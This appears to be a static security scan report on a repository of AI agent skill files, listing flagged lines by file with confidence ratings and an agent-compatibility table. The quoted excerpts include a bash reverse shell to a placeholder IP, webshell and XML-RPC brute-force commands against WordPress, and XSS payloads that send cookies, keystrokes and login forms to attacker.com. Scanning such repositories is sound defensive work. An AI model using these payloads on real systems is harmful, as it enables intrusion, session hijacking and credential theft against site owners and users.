exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"); - Network accessline 315
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"); - Network accessline 318
// Or use weevely backdoor // Access via: http://target.com/wp-content/themes/theme_name/404.php - Network accessline 319
// Access via: http://target.com/wp-content/themes/theme_name/404.php - Network accessline 342
# Access webshell curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id" - Network accessline 343
curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id" - Network accessline 351
# Check if XML-RPC is enabled curl -X POST http://target.com/xmlrpc.php - Network accessline 352
curl -X POST http://target.com/xmlrpc.php - Network accessline 354
# List available methods curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php - Network accessline 355
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php - Network accessline 383
curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php - Network accessline 389
# Use Tor proxy wpscan --url http://target.com --proxy socks5://127.0.0.1:9050 - Network accessline 390
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050 - Network accessline 392
# HTTP proxy wpscan --url http://target.com --proxy http://127.0.0.1:8080 - Network accessline 393
wpscan --url http://target.com --proxy http://127.0.0.1:8080 - Network accessline 395
# Burp Suite proxy wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks - Network accessline 396
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks - Network accessline 402
# Basic authentication wpscan --url http://target.com --http-auth admin:password - Network accessline 403
wpscan --url http://target.com --http-auth admin:password - Network accessline 405
# Force SSL/TLS wpscan --url https://target.com --disable-tls-checks - Network accessline 406
wpscan --url https://target.com --disable-tls-checks - Network accessline 436
| Purpose | Command | |---------|---------| | Basic scan | `wpscan --url http://target.com` | - Network accessline 437
|---------|---------| | Basic scan | `wpscan --url http://target.com` | | All enumeration | `wpscan --url http://target.com -e at,ap,u` | - Network accessline 438
| Basic scan | `wpscan --url http://target.com` | - Network accessline 439
| All enumeration | `wpscan --url http://target.com -e at,ap,u` | - Network accessline 440
| Password attack | `wpscan --url http://target.com -U admin -P pass.txt` | - Network accessline 441
| Aggressive | `wpscan --url http://target.com --detection-mode aggressive` |
skills/wrike-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/writing-skills/anthropic-best-practices.md
- Network accessline 13
The [context window](https://platform.claude.com/docs/en/build-with-claude/context-windows) is a public good. Your Skill shares the context window with everything else Claude needs to know, including: - Network accessline 249
<img src="https://mintcdn.com/anthropic-claude-docs/4Bny2bjzuGBK7o00/images/agent-skills-simple-file.png?fit=max&auto=format&n=4Bny2bjzuGBK7o00&q=85&s=87782ff239b297d9a9e8e1b72ed72db9" alt="Simple SKILL.md file showing YAML frontmatter and - Network accessline 253
<img src="https://mintcdn.com/anthropic-claude-docs/4Bny2bjzuGBK7o00/images/agent-skills-bundling-content.png?fit=max&auto=format&n=4Bny2bjzuGBK7o00&q=85&s=a5e0aa41e3d53985a7e3e43668a33ea3" alt="Bundling additional reference files like refe - Network accessline 919
<img src="https://mintcdn.com/anthropic-claude-docs/4Bny2bjzuGBK7o00/images/agent-skills-executable-scripts.png?fit=max&auto=format&n=4Bny2bjzuGBK7o00&q=85&s=4bbc45f2c2e0bee9f2f0d5da669bad00" alt="Bundling executable scripts alongside instr
skills/writing-skills/render-graphs.js
- Executable scriptline 1
#!/usr/bin/env node
skills/x-article-publisher-skill/SKILL.md
- Network accessline 2
name: x-article-publisher-skill description: "Publish articles to X/Twitter" source: "https://github.com/wshuyi/x-article-publisher-skill" - Network accessline 3
description: "Publish articles to X/Twitter" source: "https://github.com/wshuyi/x-article-publisher-skill" risk: safe - Network accessline 4
source: "https://github.com/wshuyi/x-article-publisher-skill" - Network accessline 22
For more information, see the [source repository](https://github.com/wshuyi/x-article-publisher-skill).
skills/xlsx-official/LICENSE.txt
- Network accessline 6
exists, use is governed by Anthropic's Consumer Terms of Service or Commercial Terms of Service, as applicable: https://www.anthropic.com/legal/consumer-terms - Network accessline 7
Commercial Terms of Service, as applicable: https://www.anthropic.com/legal/consumer-terms https://www.anthropic.com/legal/commercial-terms - Network accessline 8
https://www.anthropic.com/legal/consumer-terms - Network accessline 9
https://www.anthropic.com/legal/commercial-terms
skills/xlsx-official/recalc.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 35
macro_content = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> <script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" scr - Network accessline 36
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> <script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic"> Sub RecalculateAndSave() - Network accessline 37
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">
skills/xss-html-injection/SKILL.md
- Network accessline 122
<!-- Cookie stealing payload --> <script> document.location='http://attacker.com/steal?c='+document.cookie - Network accessline 123
<script> document.location='http://attacker.com/steal?c='+document.cookie </script> - Network accessline 124
document.location='http://attacker.com/steal?c='+document.cookie - Network accessline 128
<script> document.onkeypress=function(e){ new Image().src='http://attacker.com/log?k='+e.key; - Network accessline 129
document.onkeypress=function(e){ new Image().src='http://attacker.com/log?k='+e.key; } - Network accessline 130
new Image().src='http://attacker.com/log?k='+e.key; - Network accessline 134
<!-- Session hijacking --> <script> fetch('http://attacker.com/capture',{ - Network accessline 135
<script> fetch('http://attacker.com/capture',{ method:'POST', - Network accessline 136
fetch('http://attacker.com/capture',{ - Network accessline 143
<div id="login"> <h2>Session Expired - Please Login</h2> <form action="http://attacker.com/phish" method="POST"> - Network accessline 144
<h2>Session Expired - Please Login</h2> <form action="http://attacker.com/phish" method="POST"> Username: <input name="user"><br> - Network accessline 145
<form action="http://attacker.com/phish" method="POST"> - Network accessline 159
# Basic reflected payload https://target.com/search?q=<script>alert(document.domain)</script> - Network accessline 160
https://target.com/search?q=<script>alert(document.domain)</script> - Network accessline 162
# URL-encoded payload https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E - Network accessline 163
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E - Network accessline 165
# Event handler in parameter https://target.com/page?name="><img src=x onerror=alert(1)> - Network accessline 166
https://target.com/page?name="><img src=x onerror=alert(1)> - Network accessline 168
# Fragment-based (for DOM XSS) https://target.com/page#<script>alert(1)</script> - Network accessline 169
https://target.com/page#<script>alert(1)</script> - Dangerous shell operationline 195
eval() - Network accessline 222
// Hash-based injection https://target.com/page#<img src=x onerror=alert(1)> - Network accessline 223
https://target.com/page#<img src=x onerror=alert(1)> - Network accessline 225
// URL parameter injection (processed client-side) https://target.com/page?default=<script>alert(1)</script> - Network accessline 226
https://target.com/page?default=<script>alert(1)</script> - Network accessline 228
// PostMessage exploitation // On attacker page: <iframe src="https://target.com/vulnerable"></iframe> - Network accessline 229
// On attacker page: <iframe src="https://target.com/vulnerable"></iframe> <script> - Network accessline 230
<iframe src="https://target.com/vulnerable"></iframe> - Network accessline 245
<!-- Form hijacking --> <form action="http://attacker.com/capture"> - Network accessline 246
<form action="http://attacker.com/capture"> - Network accessline 251
<!-- CSS injection for data exfiltration --> <style> input[value^="a"]{background:url(http://attacker.com/a)} - Network accessline 252
<style> input[value^="a"]{background:url(http://attacker.com/a)} input[value^="b"]{background:url(http://attacker.com/b)} - Network accessline 253
input[value^="a"]{background:url(http://attacker.com/a)} - Network accessline 254
input[value^="b"]{background:url(http://attacker.com/b)} - Network accessline 257
<!-- iframe injection --> <iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe> - Network accessline 258
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe> - Dangerous shell operationline 319
<script>eval('al'+'ert(1)')</script> - Dangerous shell operationline 328
<script>eval(atob('YWxlcnQoMSk='))</script> - Possible obfuscationline 328
<script>eval(atob('YWxlcnQoMSk='))</script> - Network accessline 374
<script> new Image().src='http://attacker.com/c='+btoa(document.cookie); - Network accessline 375
new Image().src='http://attacker.com/c='+btoa(document.cookie); - Network accessline 381
<script> fetch('https://attacker.com/log',{ - Network accessline 382
fetch('https://attacker.com/log',{ - Network accessline 432
<script> var i = new Image(); i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie); - Network accessline 433
var i = new Image(); i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie); </script> - Network accessline 434
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie); - Network accessline 446
https://shop.example.com/search?q=test - Network accessline 451
https://shop.example.com/search?q=<script>alert(document.domain)</script> - Network accessline 456
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E - Network accessline 472
https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)> - Network accessline 483
Content-Security-Policy: script-src 'self' https://cdn.trusted.com - Network accessline 488
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
skills/youtube-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/youtube-summarizer/CHANGELOG.md
skills/youtube-summarizer/README.md
- Network accessline 39
# English copilot> summarize this video: https://www.youtube.com/watch?v=VIDEO_ID - Network accessline 40
copilot> summarize this video: https://www.youtube.com/watch?v=VIDEO_ID - Network accessline 41
copilot> summarize youtube video https://youtu.be/VIDEO_ID - Network accessline 42
copilot> extract youtube transcript https://youtube.com/watch?v=VIDEO_ID - Network accessline 44
# Portuguese (also supported) copilot> resume este video: https://www.youtube.com/watch?v=VIDEO_ID - Network accessline 45
copilot> resume este video: https://www.youtube.com/watch?v=VIDEO_ID - Network accessline 69
copilot> summarize this video: https://www.youtube.com/watch?v=abc123 - Network accessline 81
copilot> summarize youtube video https://youtu.be/xyz789 - Network accessline 93
copilot> extract youtube transcript https://youtube.com/watch?v=def456 - Network accessline 105
copilot> summarize youtube video https://youtu.be/ghi789 - Network accessline 117
copilot> summarize youtube video https://www.youtube.com/watch?v=jkl012 - Network accessline 182
- **Python 3.x** (usually pre-installed on macOS/Linux) - **pip** (Python package manager) - **[youtube-transcript-api](https://github.com/jdepoix/youtube-transcript-api)** by [Julien Depoix](https://github.com/jdepoix) (installed automatic - Network accessline 184
- **[youtube-transcript-api](https://github.com/jdepoix/youtube-transcript-api)** by [Julien Depoix](https://github.com/jdepoix) (installed automatically by the skill) - Network accessline 200
- `https://www.youtube.com/watch?v=VIDEO_ID` - Network accessline 201
- `https://youtube.com/watch?v=VIDEO_ID` - Network accessline 202
- `https://youtu.be/VIDEO_ID` - Network accessline 203
- `https://m.youtube.com/watch?v=VIDEO_ID` - Network accessline 242
Expected format examples: - https://www.youtube.com/watch?v=VIDEO_ID - Network accessline 243
- https://www.youtube.com/watch?v=VIDEO_ID - Network accessline 244
- https://youtu.be/VIDEO_ID - Network accessline 316
# Clone the repository git clone https://github.com/ericgandrade/cli-ai-skills.git - Network accessline 317
git clone https://github.com/ericgandrade/cli-ai-skills.git - Network accessline 358
- **[youtube-transcript-api](https://github.com/jdepoix/youtube-transcript-api)** by [Julien Depoix](https://github.com/jdepoix) - Python library for extracting YouTube video transcripts
skills/youtube-summarizer/SKILL.md
- Network accessline 111
**Supported URL Formats:** - `https://www.youtube.com/watch?v=VIDEO_ID` - Network accessline 112
- `https://www.youtube.com/watch?v=VIDEO_ID` - Network accessline 113
- `https://youtube.com/watch?v=VIDEO_ID` - Network accessline 114
- `https://youtu.be/VIDEO_ID` - Network accessline 115
- `https://m.youtube.com/watch?v=VIDEO_ID` - Network accessline 142
Please provide a valid YouTube URL in one of these formats: - https://www.youtube.com/watch?v=VIDEO_ID - Network accessline 143
- https://www.youtube.com/watch?v=VIDEO_ID - Network accessline 144
- https://youtu.be/VIDEO_ID - Network accessline 146
Example: https://www.youtube.com/watch?v=dQw4w9WgXcQ - Network accessline 307
**Canal:** [Channel Name] **Duração:** [Duration] **URL:** [https://youtube.com/watch?v=VIDEO_ID] - Network accessline 308
**Duração:** [Duration] **URL:** [https://youtube.com/watch?v=VIDEO_ID] **Data de Publicação:** [Date if available] - Network accessline 309
**URL:** [https://youtube.com/watch?v=VIDEO_ID] - Network accessline 343
claude> summarize this youtube video https://youtu.be/abc123 - Network accessline 380
Expected format examples: - https://www.youtube.com/watch?v=VIDEO_ID - Network accessline 381
- https://www.youtube.com/watch?v=VIDEO_ID - Network accessline 382
- https://youtu.be/VIDEO_ID
skills/youtube-summarizer/scripts/extract-transcript.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/youtube-summarizer/scripts/install-dependencies.sh
skills/zendesk-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/zoho-crm-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
How the signals fit together
Facts from a static read of the files at the pinned commit. They describe what the code does, not why.
Some files could not be read; the facts below still hold.
Combined signals: 1 fact
- Reads cloud credentials, and the same file sends data over the network or runs a command (line 215)azd-deployment/SKILL.md:157High confidence
Declared and executed: 1 fact
- Allows Bash without restrictions, though it has no scripts or shell blocksapp-builder/SKILL.md:4High confidence
Signal confidence: 498 facts
- Network access in code of the SKILL.md3d-web-experience/SKILL.md:66High confidence
- Network access in code of the SKILL.md3d-web-experience/SKILL.md:67High confidence
- Network access in code of the SKILL.md3d-web-experience/SKILL.md:68High confidence
- Network access in code of documentationaccessibility-compliance-accessibility-audit/resources/implementation-playbook.md:427Low confidence
- Network access in code of documentationaccessibility-compliance-accessibility-audit/resources/implementation-playbook.md:429Low confidence
- Network access in code of documentationaccessibility-compliance-accessibility-audit/resources/implementation-playbook.md:434Low confidence
- Network access in code of documentationaccessibility-compliance-accessibility-audit/resources/implementation-playbook.md:435Low confidence
- Dangerous shell operation in code of the SKILL.mdactive-directory-attacks/SKILL.md:59High confidence
- Network access in code of the SKILL.mdactive-directory-attacks/SKILL.md:265High confidence
- Network access in code of documentationactive-directory-attacks/references/advanced-attacks.md:232Low confidence
- Network access in code of documentationactive-directory-attacks/references/advanced-attacks.md:233Low confidence
- Network access in code of documentationactive-directory-attacks/references/advanced-attacks.md:295Low confidence
- Network access in code of documentationactive-directory-attacks/references/advanced-attacks.md:296Low confidence
- Network access in prose of the SKILL.mdactivecampaign-automation/SKILL.md:22Low confidence
- Network access in code of the SKILL.mdagent-framework-azure-ai-py/SKILL.md:275High confidence
- Network access in code of the SKILL.mdagent-framework-azure-ai-py/SKILL.md:276High confidence
- Network access in code of the SKILL.mdagent-framework-azure-ai-py/SKILL.md:277High confidence
- Network access in code of the SKILL.mdagent-manager-skill/SKILL.md:24High confidence
- Network access in code of the SKILL.mdagent-memory-mcp/SKILL.md:23High confidence
- Network access in prose of the SKILL.mdagent-memory-mcp/SKILL.md:84Low confidence
- Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valueagents-v2-py/SKILL.md:46Low confidence
- Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valueagents-v2-py/SKILL.md:70Low confidence
- Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valueagents-v2-py/SKILL.md:85Low confidence
- Network access in code of the SKILL.mdagents-v2-py/SKILL.md:175High confidence
- Network access in code of the SKILL.mdagents-v2-py/SKILL.md:176High confidence
- Network access in code of the SKILL.mdagents-v2-py/SKILL.md:177High confidence
- Network access in code of the SKILL.mdagents-v2-py/SKILL.md:189High confidence
- Network access in code of the SKILL.mdagents-v2-py/SKILL.md:190High confidence
- Network access in code of the SKILL.mdagents-v2-py/SKILL.md:191High confidence
- Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valueagents-v2-py/SKILL.md:202Low confidence
- Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valueagents-v2-py/SKILL.md:227Low confidence
- Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valueagents-v2-py/SKILL.md:248Low confidence
- Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valueagents-v2-py/SKILL.md:282Low confidence
- Network access in prose of the SKILL.mdagents-v2-py/SKILL.md:321Low confidence
- Network access in prose of the SKILL.mdagents-v2-py/SKILL.md:322Low confidence
- Network access in prose of the SKILL.mdagents-v2-py/SKILL.md:323Low confidence
- Network access in code of documentationairflow-dag-patterns/resources/implementation-playbook.md:318Low confidence
- Network access in prose of documentationairflow-dag-patterns/resources/implementation-playbook.md:507Low confidence
- Network access in prose of documentationairflow-dag-patterns/resources/implementation-playbook.md:508Low confidence
- Network access in prose of documentationairflow-dag-patterns/resources/implementation-playbook.md:509Low confidence
- Network access in prose of the SKILL.mdairtable-automation/SKILL.md:22Low confidence
- Network access in prose of documentationalgorithmic-art/LICENSE.txt:2Low confidence
- Network access in prose of documentationalgorithmic-art/LICENSE.txt:4Low confidence
- Network access in prose of documentationalgorithmic-art/LICENSE.txt:196Low confidence
- Network access in code of the SKILL.mdalgorithmic-art/SKILL.md:280High confidence
- Network access in code of the SKILL.mdalgorithmic-art/SKILL.md:281High confidence
- Network access in code of the SKILL.mdalgorithmic-art/SKILL.md:282High confidence
- Executable script in a comment of a file that runsalgorithmic-art/templates/generator_template.js:1Low confidence
- Network access in prose of the SKILL.mdamplitude-automation/SKILL.md:22Low confidence
- Network access in prose of documentationangular-best-practices/README.md:56Low confidence
and 448 more
Only the first 500 facts are listed.
Works with
| Agent | Status | Evidence | Install to |
|---|---|---|---|
| Claude Code | Native | Frontmatter field user-invocable in skills/clean-code/SKILL.md | .claude/skills/<skill-name>/ |
| Codex | Native | Manifest skills/dbos-golang/AGENTS.md | .agents/skills/<skill-name>/ |
| Cursor | Compatible | Standard SKILL.md skills/3d-web-experience/SKILL.md | .cursor/skills/<skill-name>/ |
| Gemini CLI | Compatible | Standard SKILL.md skills/3d-web-experience/SKILL.md | .gemini/skills/<skill-name>/ |
| GitHub Copilot | Compatible | Standard SKILL.md skills/3d-web-experience/SKILL.md | .github/skills/<skill-name>/ |
| OpenCode | Compatible | Standard SKILL.md skills/3d-web-experience/SKILL.md | .opencode/skills/<skill-name>/ |
- Native The repository ships a manifest, folder or frontmatter field for this agent.
- Compatible A standard SKILL.md that this agent can read.
- Unknown No evidence either way.
Derived automatically from paths, manifests and frontmatter. Not tested on each agent.